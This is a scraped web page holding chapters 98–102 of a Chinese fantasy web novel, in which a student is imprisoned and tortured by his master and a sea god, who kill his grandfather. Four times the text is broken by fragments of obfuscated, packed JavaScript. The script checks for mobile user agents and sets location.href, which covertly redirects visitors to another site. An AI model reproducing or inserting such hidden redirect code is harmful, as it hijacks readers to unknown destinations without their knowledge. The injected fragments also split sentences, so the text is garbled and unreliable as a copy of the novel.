l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761394|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“当然,我说的是除了新生赛的时候因为漂亮姑娘把兄弟抛弃了,其余时候都挺好。” 聿风与陌离并肩坐在院墙上,看着天上朦胧的月亮,一人一口抱着酒坛子轮流喝。 “兄弟,你和你爷爷都没离开过东海吧?要不今年和我一起回去过年?我带你在我们那片地方转转,那里可比东海繁华多了。” 聿风压低了声音抱怨:“若不是因为东衡学院出了一位即将封神的院长,我才不愿意到东海来呢,一年都回不了家几次。” “还是你小子好呀,院长那么宠着你,随身的令牌都能送给你,就为了让你随时回家看爷爷,这一年你也算是苦尽甘来了。” 陌离沉默地喝着酒,听着聿风的碎碎念,却没有开口发表自己的看法。 他似乎是在等待着什么。 却又不知道自己到底在等什么。 聿风捅了捅他的胳膊:“怎么着,跟不跟我回呀?” 陌离犹豫了一下,正要开口说话,却见院门口拐进来一抹蓝色的身影。 温宛拎着糕点从院门踏入,抬起头望着坐在院墙上的他,笑着挥了挥自己手中的糕点。 聿风望一眼温宛又望一眼陌离,然后把酒坛子从陌离怀中抢过来:“得,我知道了,你小子又要见色忘义了。” 翻了个白眼从墙上跃下,他同温宛打了个招呼,踉跄着脚步离开了陌离的小院。 陌离也从墙上跃下,却是瞬间把聿风的抱怨抛在了脑后,快步来到温宛面前,站定后挠了挠脑袋,想了一下才开口问她:“你……也是来同我告别的么?你要回家过年了?” 温宛歪着脑袋冲他笑:“也不算是同你告别吧,就是听说你们有过年的习俗,来给你送一些亲手做的糕点。” 将糕点递给陌离,她咬了咬嘴唇道:“在我的家乡倒是没有过年的习俗呢,我回不回去其实都没有关系。” 陌离本想问她的家乡在哪里,怎么会没有过年的习俗,转念一想四海八荒如此之大,她也许同聿风一样来自东海之外,甚至她的家乡或许比聿风的更加遥远。 不同的地方有不同的习俗,他从来没有离开过东海,自然是想象不到的。 陌离反复摩挲手中拎着的用来捆绑糕点的绳子,与温宛相顾无言。 不知过了多久,温宛似乎是觉得在这里傻站着有些尴尬,抬手将鬓边碎发别在耳后,开口朝陌离道别:“那……我就先走了。你过年是要回家的吧?提前祝你新春快乐。” “哎,等一下!”陌离朝温宛伸出手,着急地抓了一把空气。 温宛停下步子回过头来,目光里有些疑惑,又似乎有些期许。 陌离几次张口,却像是怎么也没办法发出声音来,温宛倒也没有催他,只是耐心地等在原地,温柔地注视着他。 终于,陌离紧张地闭上眼睛,语速极快地道:“既然你们那里没有过年的习俗,那你今年有没有兴趣和我一起回家过年?” 99. 浅歌行 在擂台上战无不胜的少年,此刻面对喜欢的姑娘,却是支支吾吾红了脸。 他等了一会儿,没有等到温宛的回答,迟疑地睁开眼睛,首先映入眼帘的却是她灿烂的笑颜。 “好呀!”她的声音清脆而又柔软:“我还不知道过年是什么样子呢,今年就随你一起感受一下吧。” 陌离松了口气,随即又想到一个很关键的问题:“那你是不是要传信给你的父母,他们会同意你与我一起过年吗?” 温宛似乎是愣了一下,反应了一会儿才摇摇头道:“不用了,我父母……他们从来不管我去哪里,我很自由的。” “他们不会担心你的安全吗?”话一问出口陌离就后悔了:“你结阵的速度这么快,想必是他们在你还小的时候就开始教你布阵之术了,等你有自保的能力才放心让你出远门的。” 温宛笑了笑,却是没有继续这个话题,而是好奇地问陌离:“你们过年都会做些什么事情?是不是要提前准备很多的东西,你都准备好了吗?” 陌离也笑了:“我还没有采买过年要用的东西呢,既然你这么好奇,那就跟我一起吧。” 温宛再次清脆地应了一声好,与陌离约定次日傍晚一起去集市采买过年的用品。 时间过得很快,一直到傍晚时分与温宛并肩走在集市上,陌离都感到十分恍惚。 张灯结彩的热闹街市很美好。 漆黑夜空的绚烂烟火很美好。 走在他身旁的温宛也很美好。 这美好的一切来得太快,令他一时有些分辨不清,自己到底是在现实还是梦里。 恍恍惚惚地陪着温宛逛完整座长街,他拎着大包小包的东西站在路口,望了望前面的路对温宛道:“这些东西带回学院也是麻烦,不如送回家里,等到过年那天我们直接回家就好。” 温宛嗯了一声,随陌离一起朝他的家走去。 她一直都很好奇陌离的家是什么样子,与他相依为命的爷爷又是什么模样,此刻跟在陌离的身后随他一起回家,竟然从心里生出一丝紧张。 家对于她来说,是一个遥远而又陌生的词,所以当她听到陌离邀请她一起回家过年的时候,她的第一反应是拒绝。 因为她从记事起便是一个人生活。 遥远的合虚是远古之神的居所,身为先神后裔的她拥有强大的生命力,只需要在那里汲取灵气便能安然长大。 她不知道她的父母是谁,来自何方,也不知道他们为何要将她独自留在合虚,她不知道那里是不是她的家,她的父母到底是因为不得已的缘故不得不离开家园,亦或者,她只是被父母遗弃在了那样一个无人涉足之地。 催动法阵的力量是她从出生起便流淌在身体里的神力,至于该如何结阵,也并非旁人教给她的,那是从她有记忆起便觉醒了的能力。 或许是继承自父母的天赋,亦或许是她身为后神所得到的天赐。 总之,她就这样一个人在合虚长大,每日独自面对着合虚的冽冽长风,皓月当空。 那里景色虽美,却连个飞禽走兽都没有。 无人同她说话,也无人关心她的布阵速度是否比前一日快了许多,没有人在意她在这里生活得如何,也不会有人在意她是否会在这里悄无声息地死去。 后来,在她第无数次突破了自己结阵速度的那一日,她终于鼓起勇气踏出了合虚。 离开合虚之后的每一天她都是快乐的,未知的世界向她敞开了大门,她也没有想到自己能够这么快地融入到人群当中,学习着他们的语言,了解着他们的生活方式。 甚至她还能进入学院学习,能够交到许多的朋友。 她还在东衡结识了陌离。 脚下的步子顿了顿,她转首望向走在她身侧的陌离。 少年扎着高高的马尾,红色的发绳在月光下显得夺目,他扬着嘴角,笑意分明张扬,可是落在她的眼里却是无尽温柔。 她轻声唤他的名字:“你的家是什么样子呢?” 陌离转过头,目光里的温柔不经意撞进她的眼眸:“我的家有些小,只生活着我和爷爷两个人。爷爷总是在院子里晾晒衣物,让它们晒晒太阳,不过现在他年纪大了,有时候会忘记把它们取回屋里,雨一下就算是白晾了。” 温宛听得噗嗤一笑。 陌离似乎是看出了她的紧张,于是一路上都在同她分享自己与爷爷生活在一起的琐碎日常。 “爷爷年纪大了吃不得辣,但他总惦记着我喜欢吃辣,每次做菜他都要单独给我做一份放了辣椒的菜,然后再给他自己做。不过有时候他会忘记先后顺序,若是先给我炒了菜,那锅底就是辣的,即便他的菜都不放辣椒,还是会把他辣得流眼泪。” “我小时候怕黑,爷爷就会彻夜点一根蜡烛放在我的床头。现在我已经不怕黑了,但他每次听到我要回家,还是会在门口点亮灯笼。所以我们家虽然日子过得清苦,但爷爷从来不会舍不得烛火钱。” 温宛认真地听着,想象着陌离的家到底会是什么模样。 在她的想象里,那一定是个温馨的小家。 也许家里没什么陈设,但是院子里晾满了陌离的衣物,爷爷总是记得将它们晾出来晒太阳,虽然他记性不大好,也总是会忘记把它们取回去。 也许他们的屋子很小,但是屋里屋外一定是亮堂堂的,爷爷知道陌离这几日就会回家来过年,他一定早早就买了许多的蜡烛。 温宛就这样想象着,一点一点在脑海中将家的模样具象化,跟随着陌离朝他的小家走去。 离陌离的家越来越近,她的心跳也就越来越快,在看见不远处的亮光时,她紧张地抬起手挽了挽鬓边的发。 “你看,就我们家是最亮的。”陌离加快了步子朝家里走去:“爷爷一定是早早就把门前的灯笼点亮了,他……” 陌离的声音突然停下,如同一缕轻烟被掐散在了风里。 温宛原本低垂着头不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772705|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢往前看,听到陌离的声音突然消失,她疑惑地抬头望去。 眼前的小屋的确足够亮堂,却不是被屋前的灯笼照亮,而是被熊熊大火烧亮的。 院子里的确有一些衣物,只不过那些衣物并没有像从前那样整整齐齐地晾晒在杆子上等待着主人回来,而是凌乱地洒落在地,被人踩进了泥里。 陌离松了手,将怀里抱着的东西全都扔到地上,没有一丝犹豫,直接冲进火海里寻找爷爷的身影。 温宛随他一起跑进院里,从极度的震惊中回过神来,双手结印布起水阵,及时将大火扑灭。 这一把火显然才燃起不久,屋中的陈设并没有被完全烧毁,堂屋里桌子上还摆放着一罐刚刚捣好的辣椒酱。 “这辣椒酱是刚捣碎的……”陌离将辣椒酱举到鼻尖,手止不住地颤抖:“爷爷知道我最近就要回来,他刚刚一定就在这里装盛辣椒酱。可是为什么他不在屋里,家里为什么会起火……” 温宛用力握住陌离的手,给了他一点安定的力量:“院子里有很多杂乱的脚印,一定是有人来过了,他们带走了爷爷。” “对,对,一定是有人来过……”陌离逼着自己镇定下来,再次回到院子里,蹲下身观察那些脚印。 来的不止一人,且都为男子。 看脚印的杂乱程度,他们一定与爷爷在院子里发生过激烈的争执。 然后呢? 然后他们就将爷爷带走了。 陌离皱紧了眉头。 可是为什么? 他们家一贫如洗,无权无势,什么人会盯上他们?又为什么要带走爷爷? 就在他百思不得其解之时,隔壁院子里走出一道身影。 是他不在家时一直帮衬着爷爷的邻居大婶。 她听到了陌离说话的声音,这才畏畏缩缩地从屋里出来,见到回来的人确实是他,她劫后余生般拍着胸口道:“孩子,你可算是回来了,快点去救你爷爷吧!” 陌离猛地站起身来:“大婶,我爷爷怎么了?” “他被抓去祭祀了呀!我们也不知道是怎么回事,那帮人怎么会抓你爷爷。他们刚走没多久,好大的阵仗,我们都吓了一跳……” 耳畔的声音越飘越远,陌离突然觉得眼前的一切都好不真实,他仿佛又置身儿时那个反复来袭的噩梦里。 还是温宛摇着他的胳膊将他唤回了现实。 “陌离,陌离!你先别太难过,既然他们刚走,那爷爷现在一定还没事。”温宛帮他思索着办法,急得在原地跺脚:“对了!院长不是与东海神君有私交么?我们现在去求院长帮忙,他一定会帮你救爷爷的。” 陌离被这突如其来的变故刺激得乱了阵脚,此刻听到温宛的提醒,这才反应过来还可以去找师父帮忙:“是了,师父一定会帮我的,而且他见过东海神君,他一定会有办法!” 事不宜迟,两人拔腿就往外跑,乘着夜色赶回东衡学院,直奔院长的庭院而去。 100. 浅歌行 临近年关,空气中弥漫着彻骨的寒意,就连月色都笼上了一层凛冽的寒光。 庭院里空无一人,只有一些凌霜而开的花在随风摇晃,散发着冷冽的清香。 温宛停下步子扫视了一圈:“院长不在,他难道出去了?” 陌离抬起头,目光穿过层层叠叠的亭台楼阁,最后停在了一处最高的阁楼上。 那里是院长的书房,此刻正亮着光。 那束光映进陌离的眼睛里,瞬间让他放下心来,生出希望:“师父最近都在帮我查阅与心火有关的古籍,他现在应该就在书房。我去找他,他会帮我救爷爷的。” “我跟你一起!”温宛追上陌离的脚步,随他一起来到院长书房。 果如陌离所言,院长正捧着一本古籍坐在桌前,桌上堆放着许多被他翻阅过的书籍,那些书显然都上了些年头,尽管被仙术滋养妥善保管着,纸张依然泛着被岁月侵蚀过的黄。 见陌离着急忙慌地闯入,院长将手中的书搁下,抬起头问他:“发生什么事了,怎么这么着急?” “师父,求求你救救我爷爷。”陌离冲到桌前,双手撑在桌上,低下头不停地喘气:“我爷爷被人抓走了,他们要用他祭祀。师父,求求你救救他。” 偌大的书房里只有陌离带着哭腔的声音,院长与温宛都安静地注视着他。 院长的神情如被乌云遮住的夜色一般晦暗不明,他向来都是喜怒不形于色的,唯有在新生赛上注意到陌离拥有如此强大的心火时才罕见地露出过笑意。 此刻望着心爱的徒儿在他面前哭泣求助,他的神色如常平静,眼里却升腾起一些别样的情绪。 那些情绪像是打翻了的颜料混合在了一起,纠缠着难以分离,令人感到复杂难解。 相比之下温宛的情绪便容易分辨得多。 她的沉默萦绕着浓浓的悲伤,悲伤里又溢出了些难掩的心疼。 院长注视了陌离一会儿,转头轻声对温宛道:“你先出去吧,我有话问他。” 温宛神色微怔,道了声好退出房去。 替他们关上房门后,她站在门前抬首望了一眼天上的冷月,犹豫了一下,倚在门口等着陌离出来。 书房内烛火摇曳,将房间的每一个角落都照得亮堂,就连月光从檐下溜进都被染成了暖色。 陌离期待地望着院长,等待着他的回答。 然而他等来的却是长久的沉默。 就在他已经快要放弃希望,以为师父有什么难处无法救爷爷时,院长站起身来,抬手抚了抚他的头:“陌离,不要着急。还记得我曾经问过你的问题吗?” “我问你是如何觉醒心火的,有没有听到过神谕。” “你的爷爷不在了,现在你是不是可以心无旁骛地好好帮我想一想,第一次点燃心火的时候,你到底听到过什么声音?” “告诉我,我就放你爷爷出来。” 陌离近乎惊恐地站在原地,浑身都变得僵硬。 师父每说一句话,他的心就沉下去一截,在听到最后一句话时,他的心终于沉到了谷底。 一直以来师父注视他的目光都如春风和煦,此刻却变为了冰凉的蛇蝎,一点一点地缠绕着他,令他感到窒息。 院长观察着他表情的变化,似乎是很有兴味,过了好一会儿才耐下性子继续问他:“陌离,现在可以告诉我了吗?” 陌离轻轻地摇了摇头,虽然从心底里不愿相信,却还是极快地接受了眼前的事实。 他感受到屋外温宛的气息,她还没有离去。 一瞬之间他便做下了自救的计划,在朝屋外奔去的同时大声呼喊着温宛的名字。 院长皱了皱眉,轻啧一声,打了个响指屏蔽屋内一切声音,随后从袖间挥出一条金色的锁链,将陌离牢牢捆住。 书房内的密室被他打开,他用锁链束缚住陌离,拖着他往密室走去。 这是一间被布下了结界的密牢,已在东衡存在了上千年,见证过几乎每一任院长不堪告人的秘密。 被关进密牢后相当于与世隔绝,从此不会再有人知晓他的下落。 院长轻描淡写地告知陌离这一消息,随后突然想起了一件麻烦的事,嘶地一声倒吸了口气:“不对,温宛那小丫头现在还守在屋外,她知道你在我这里。” “该怎么办呢?” 他的声音如他方才盯着陌离的目光一般阴冷。 “那丫头很不一般,倒是真的能给我带来不小的麻烦,毕竟是一个有着正统血脉的后神。” 陌离听得瞳孔一震。 院长则继续自顾自地说着。 “不过她还太年轻了,一个年轻的后神,没有战斗的经验,对人心也不了解,想要解决掉她其实倒也容易。陌离,你说是不是?” 陌离摇头:“你要对她做什么?” “告诉我点燃心火的条件是什么,觉醒心火的时候你听到了什么神谕?”院长似乎已经失去了耐心,语气比方才凌厉:“这是我最后一次问你,好好回答我。我可以向你保证,不管是你的爷爷还是外面的温宛,他们都不会有事。” “不要,不要动他们!”陌离在情急之下喊了一声师父,随即又意识到,眼前这个人已经不能称之为师父了。 他无助地捂住了脸:“我不知道,我真的不知道……” 不等他说完,院长将手一挥,束缚着陌离的锁链骤然缩紧,令他难以呼吸。 就在他支撑不住快要窒息之时,那锁链又微微松开,给了他一丝喘息之机。 他猛吸了一口气,下一秒锁链又将他死死勒住,简直要将他的五脏六腑都挤出来。 院长将陌离扔在密牢的角落里,任他被那锁链反复折磨着:“放心,它不会勒死你。你就在这里好好待着,静下心来好好想一想,下一次见到我该怎么回答我的问题。” 说完他冷笑一声转身离去。 陌离蜷缩在地上,忍受着锁链带来的痛苦,咬紧了牙关不让自己晕过去。 趁着锁链松开的一秒间隙,他极快地将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781658|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的戒指取下,把它牢牢地攥在掌心。 然后,在下一秒喘息之机到来之时,他拼尽全身的力气捏碎了那枚戒指。 温宛布在其中的法阵自然也应声而碎,感受到戒指中力量的消散,陌离松了口气,终于闭上眼睛允许自己昏过去。 温宛曾经告诉过他,她在戒指中布下了一个法阵,遇到危险时唤醒它,她便能知道他在哪里。 可是眼下他并不想让她知道自己身在何处。 院长说的倒是实话,温宛虽为后神,但她太年轻了,不会是他的对手。 与其让她来跟自己一起送死,不如提醒她赶快离去。 守在门外的温宛感受到了自己曾经留在戒指上的力量的波动,她猛地回头望向书房。 与此同时书房的门被院长打开。 他原本不欲动武,特意换了一副和煦的面孔,打算将温宛哄到密牢与陌离关在一起,却在开门的瞬间看到了温宛惊恐的表情。 皱了皱眉,他立时反应过来,她已经知道陌离遇到危险了。 来不及思考她到底是如何知晓此事的,他在看见温宛表情的下一秒便朝她出手。 温宛的反应却是比他还快,在意识到陌离遇到了危险后转身回头的一瞬间,她便为自己布下了一个守护之阵。 她是亲自陪着陌离来到院长书房的,这期间一直守在门口,并未见到陌离出来,也没有听到什么异动。 在这样的情况下,陌离倘若遇到了危险,那么危险只能是他们最敬爱的院长带来的。 虽然她根本想不通院长为什么要对陌离出手,但她相信自己的判断一定没错,而事实也果然如她所料,院长出手便是杀招,若非她在第一时间布下了法阵,只怕会立刻丧命于此。 见这致命一击被温宛躲过,院长诧异地蹙了蹙眉,停下了手上的动作,给了温宛逃离此地的时间。 他方才是想直接杀了温宛,但是一击不成,他便不能继续出手。 此刻他们还在学院之中,若是在这里和温宛动起手来,定会引得旁人围观。 因此他故意愣了一下,装作没有反应过来的样子,待温宛转身逃跑后才猫捉老鼠一般尾随其后。 温宛此刻心乱如麻,她的第一反应是杀回学院救出陌离,好在发热的头脑被夜里的冷风一吹,理智重新回到了上风。 院长已经突破境界成神,他只不过是差一个封神的契机而已,实力恐怕与那些有名有号的神君相差无几。 况且他肯定有很多法宝傍身,现在的自己完全不是他的对手。 若是意气用事回头去救陌离,不仅救不出他,还会把自己也搭进去。 她不能死,也不能被抓住,陌离在这世上已经无所依靠,她若是也被擒住,那就再也没有人能帮得了他了。 这么想着,温宛用力地抹了一把眼泪,拼命朝海边飞去。 她决定了,她要回合虚,回到合虚取来父母留在那里的先神法器。 她一定要从院长手中救出陌离。 101. 浅歌行 越靠近海边,夜风便越凉,刮在脸上刺骨的疼。 院长就在身后穷追不舍,一道又一道的攻击向她袭来,她不能放慢脚步,也没有喘息之机。 拼命布下的法阵根本支撑不了多久,法阵破碎的余威震荡她的五脏六腑,逼得她咳出血来。 饶是如此,她依然只守不攻,再次布下法阵护住自己的要害,步履坚定地朝海边而去。 院长则加快了追赶的速度,势必要在她入海前将其拦下。 他早在今夜动手之前便已将陌离身边的人都调查清楚。 时常来寻陌离的宫聿风是来自东海之外的世家子弟,他本身并不构成威胁,能够造成威胁的是他背后的家族势力。 不过这纨绔子弟每逢过节便要离开东海回到家中,若不想惊动他从而牵涉到他背后的世家力量,便只能趁他不在东海的时候对陌离动手。 这也正是院长选择在此时动手囚禁陌离的原因。 至于这个拥有先神血脉的小丫头…… 院长眯了眯眼。 她的确十分难缠,不过他早已托东海神君调查过她的底细,得知她来自遥远的合虚,且她的先神父母早已不知所踪。 “这丫头擅长法阵之术,但无人教习,其实力不足为惧。若是动起手来,千万别让她回到海里就是。她的先神血统恐怕与传说中掌管海洋的神族一脉有关,若是让她回到海里,即便是我也无法将她捉回了。” 他记得东海神君是这么说的。 想到这里,他出手的速度不由更快了些。 终于,一道攻击打碎了温宛护身的法阵,砸在了她的背上,让她如折翼的鸟儿一般从空中跌落,狼狈地在地上滚了几圈。 院长眯了眯眼,观察着躺在地上动弹不得的女孩。 这一击足以震碎她的肺腑,别说还有力气回到海里了,现在的她怕是呼吸也难。 却没想到还未等他靠近,女孩便挣扎着站了起来,踉踉跄跄地继续朝海边走去。 她的身后留下了长长的一条血迹,显然是伤得不轻,她此刻只不过在强撑而已。 见此情状,院长并未顾念对方曾是自己的学生,出手仍旧毫不留情,掌心蓄力蕴出杀招,携雷霆之威朝温宛击去。 温宛再也无力设下守护之阵,生生承受住了这一击。 院长这一击将她打出了老远,倒是将她送到了海边。 可惜此刻的她全身筋骨俱碎,如一滩烂泥动弹不得。 “想回海里去么?”院长一步一步走近她:“你回不去了。谁让你多管闲事,知道了一些不该你知道的秘密。” 海水拍打着温宛的脸颊,带来咸湿的凉意,令她想起了遥远的合虚。 那个陷在大洋最中央,总是呼啸着凛冽长风,被人们称为先神居所的地方。 她已经很久没有回去过了。 “等你死后,我会把你送到陌离身边,到时候你就可以陪着他了。” 一切都按照院长的计划进行着,但是他的声音里却没有多少得意。 他声音里充斥着的情绪是不甘与妒忌。 “不过他现在还不能死,他还没有告诉我心火的秘密,等他告诉我觉醒心火到底需要些什么条件,我再让他跟你去地下团聚。” 听到陌离的名字,温宛皱着眉头睁开了眼。 原来如此。 竟是如此。 她费力地扯了扯嘴角,露出一个嘲讽的笑。 院长望见她的笑容,停下了脚步:“你在笑什么?” 温宛没有力气抬起头,她趴在地上注视着他的鞋尖,笑容里的嘲讽之意更浓,仿佛此刻狼狈的人不应是她,而是站在她面前的院长。 “我笑你一把年纪了,竟然还嫉妒自己的弟子……” “不是快要封神了么,现在看来即便你坐上神君之位,水分也是大得很……” “心火的力量便有这么强大么,比你修炼了上千年的神力还要强大?” “没有被心火选中,你是不是妒忌得要死?” 温宛每说一句话,院长眼中的戾气便越重,最后那一句没有被心火选中仿佛是戳中了他的逆鳞,顿时让他暴跳如雷,抬起脚便朝温宛踹去。 温宛被他踹得滚了一圈,半个身子浸泡在了海里,鲜血染红了她身侧的海水,如雾一般朝远处散去。 她看起来奄奄一息,似乎下一秒就会断气。 可是即便如此她的脸上仍旧挂着嘲讽笑意,那笑容在陌离看来是如此刺眼,令他躁动难安。 他狠狠踩住温宛的手,直到将那一双纤细的手蹂躏得不成模样,见到温宛的脸色彻底变得苍白,整个人都失去了生机,这才松开脚踹上她的心窝,将她整个人踹进了海里去。 然而温宛沉进海里的那一刻他就后悔了。 眼前这个女孩虽然看起来脆弱不堪,可她毕竟拥有先神血脉,她的身体里流淌着古老而神秘的力量,即便是死了也不该让她回到海里。 就在他犹豫着要不要亲自到海里去看一看情况的时候,不远处的海面涌起一阵阵的涟漪,借着月光他看清楚了搅动海水的东西。 那是一条蛇尾。 它在不远处迅速地游动了几下,以极快的速度往海水深处去,很快消失在了院长眼前。 海水稀释着方才温宛流出来的血,慢慢恢复了平静,仿佛方才什么也没有发生过。 院长往后退了几步,望着月光下的海面皱紧了眉头。 他几乎可以肯定,方才那条蛇尾是属于温宛的。 他曾经在古籍上看到过关于先神血脉的记载,那些传闻中的先神大多不是如今人类的模样,拥有先神血脉的温宛在海中能长出一条蛇尾也没什么稀奇。 平静下来之后他开始懊恼,不知方才那丫头是不是在故意激他,而他竟然一怒之下着了她的道。 终究还是让她逃掉了。 不过她受了那样重的伤,不休养一段时日是好不了的,只要在她回来之前向陌离逼问出心火的觉醒方式就好。 在海边吹了片刻的冷风,他沉了目光,转身离开这里,回到了囚禁着陌离的密牢。 他开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797942|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始用更加残酷的方式折磨陌离,甚至动用了禁术,以精神力入侵陌离的神识,企图窥探他的记忆。 然而这些方法都没有用,陌离不论被折磨成什么样子,他的回答始终只有一个。 “我不知道觉醒心火的条件是什么,也不知道它为什么会选中我。” 院长第无数次听到这个回答,气极反笑,一脚踏在陌离的脸上,足尖用力,翻来覆去地碾着:“三个月了,我没有耐心继续陪你在这里耗。你自己想死也就罢了,当真不管你爷爷的死活了吗?” 陌离抱住院长的脚,把自己的尊严扔到了尘埃里,以前所未有的卑微姿态恳求他:“我真的不知道,我不知道到底是因为什么唤醒了心火。求求你放了我爷爷,你想要对我做什么都可以,哪怕你杀了我,把心火从我的心脏剜出来,随便你怎么样……只求你放了爷爷,他年纪很大了,你们不能……” 院长一脚踹翻了他,拎起他便往外走:“我没工夫在这里听你求情,既然你在我这里什么都吐不出来,那我只好把你交给他了。” “你不是想见爷爷吗,行啊,我带你去见他。” 被囚禁在密牢里三个月,陌离已经习惯了黑暗,骤然见到外面的阳光,他被刺激得闭上眼,流下了一滴泪。 院长的声音从他的耳畔飘过,模模糊糊不太真切,就好像来自梦里。 他想要听清外界的声音,想知道自己会被带往哪里,可是无边无际的疲惫向他袭来,夺去了他的意识,将他拽入了新的黑暗里。 他是被一阵远古的铃音唤醒的。 那铃音似乎是穿过了亿万光阴、跨越了千山万水而来。 它携来无尽风尘,传来一段呓语。 那呓语似是人声,却说着陌离听不懂的语言。 像是有人哭诉,又似正在吟唱。 这声音令他头痛欲裂,他猛然睁开眼睛,在睁眼的一瞬间,心火随之燃起。 被院长囚禁在密牢中的时候,他也曾无数次尝试燃起心火,可是每一次都以失败告终。 彼时他被那锁链束缚着,连呼吸都十分困难,更别说召唤心火了。 意识到自己可以使用心火的力量,同时也摆脱了锁链的束缚,陌离第一时间站了起来。 可是在看见自己此刻所处的环境之后,他刚刚才放下的心又悬了起来。 蔚蓝色的殿宇,玉壁上的明珠,身侧流动的海水……这一切都昭示着他的处境。 他已经离开了东衡学院,被院长扔到了一个未知的地方。 这是一个凭他的能力无论如何也逃不出去的地方。 事实证明他的判断没有错,就在他恢复意识不久,还在观察周围的环境之时,大殿的门轰然而开,一道身影从门外走来,他的身后还跟着一队身穿盔甲的守卫。 陌离警惕地注视着他,一直紧绷着的弦在看见被人拖拽着进入大殿的爷爷时彻底断了。 “你就是陌离?”那最先进入大殿的人不疾不徐地行至阶前,在放置于阶梯最高层的座椅上坐下,饶有兴味地观察着陌离的表情。 102. 浅歌行 在见到陌离露出近乎崩溃的神情之时,他似乎是满意地笑了:“你们爷孙二人已经很久未见了,来,过来看看,你爷爷这段时间在本君的神宫过得如何。” 他朝陌离招了招手。 陌离虽知他不怀好意,却还是踉跄着步子往爷爷的方向走去。 然而没走出几步,他就被两个人挡住了去路。 停下步子,他转头朝好整以暇坐在高位上的人看去。 那人哎呀一声,露出诧异的表情:“看来本君的属下们都对你很感兴趣,这倒是他们无礼了。少年,他们拦你的路,你尽管动手,就是把他们都打伤打死了也没关系。” 出乎意料的,陌离并没有继续往前走,而是依旧死死盯着高台上的人,片刻之后,带着怒意问他:“你就是东海神君?” 话音尚未落地,燃烧着火焰的拳头已经砸到了东海神君的面前。 东海神君不闪不避,在见到陌离拳头上燃起火焰之后反而露出了惊喜的表情。 他抬起手掌想要接住陌离的拳头,却在接触到心火的一瞬间升起一道水墙,将陌离拳上的心火尽数熄灭。 他原本以为自己掌心运行着的神力能够抵挡住心火的伤害,却没有想到只是触碰到了心火的边缘,他的神力便以极快的速度蒸发了。 倘若那一拳结结实实砸在他的身上,他当真会伤在这个黄毛小子手下。 微微皱了皱眉,他的表情不再如方才那般轻松,而是稍稍认真起来,使出了七八成的力量对付正在透支着生命燃烧心火的陌离。 此刻的陌离已经顾不上什么招式了,他纯粹地燃烧着心火攻向面前高高在上的神君,愤怒滋养着心火,势要将眼前的一切都烧为灰烬。 东海神君感受到陌离的战意正在高涨,他此刻已经见识到了传说中心火的力量,便更加明确自己心中所想。 不管他能不能从陌离口中挖出唤醒心火的条件,此子都绝不能留。 他的掌心亮起蓝色光芒,神力搅动着周遭的海水,将陌离燃起的心火一遍遍扑灭,然后化为一道道水绳,将陌离牢牢捆绑起来。 心火的力量固然举世无双,但它有多强大还取决于使用它的人。 陌离尝试重新燃起心火突破束缚,可是他所能催动的心火有限,面对神力的压制,他的一切努力都是徒劳。 “小子,你并不能发挥出心火的全部力量。”东海神君挥了挥手,示意守卫们把陌离的爷爷押上来:“本君实在是想不通,心火怎么会选择你这个废物。” 说着他将衣袖一拂,一股水流化为利刃穿过陌离爷爷的身体:“听你师父说,你的嘴巴硬得很,怎么也不肯告诉他当初你是如何觉醒心火的。那么现在呢,你能否对本君如实相告?” “住手!”陌离拼了命想要挣脱束缚,却只能眼睁睁看着爷爷的身体被利刃洞穿。 东海神君皱了皱眉头:“这不是我想听到的回答。” 他再次将袖一拂,又一道利刃从老人的身体穿过。 陌离睁大了眼睛发出嘶吼声:“我真的不知道!我真的不知道觉醒心火的条件是什么……” “这也不是我要的回答。”东海神君动了动手指,再次将水流聚为利刃,在陌离近乎崩溃的目光中控制着它刺向老人:“你的爷爷似乎撑不住了,陌离,还不告诉我想要的答案吗?” 老人早在之前便已被折磨得奄奄一息,此刻被三道水刃刺穿身体,眼见是不能活了。 他艰难地扭过头,望向跪在地上无力嘶吼的陌离,喉咙里发出些嘶哑的呼唤声。 可他已经没有力气说话了,他的目光逐渐变得浑浊,再也无法聚焦,直到生命最后一刻也没能唤出陌离的名字。 老人垂下了头,目光已然变得空洞,眼睛却没有阖上。 他不放心自己的孙儿,面对这样高高在上的神君,陌离显得如此渺小,因此他死不瞑目。 陌离疯狂地向东海神君磕头,鲜血顺着他的额头流下,染红了他的双眼。 “求求你,求求你放了爷爷,我不知道,我真的不知道……” 东海神君注视着将自己磕得满脸都是血的陌离,沉默了一会儿,无奈地叹了口气。 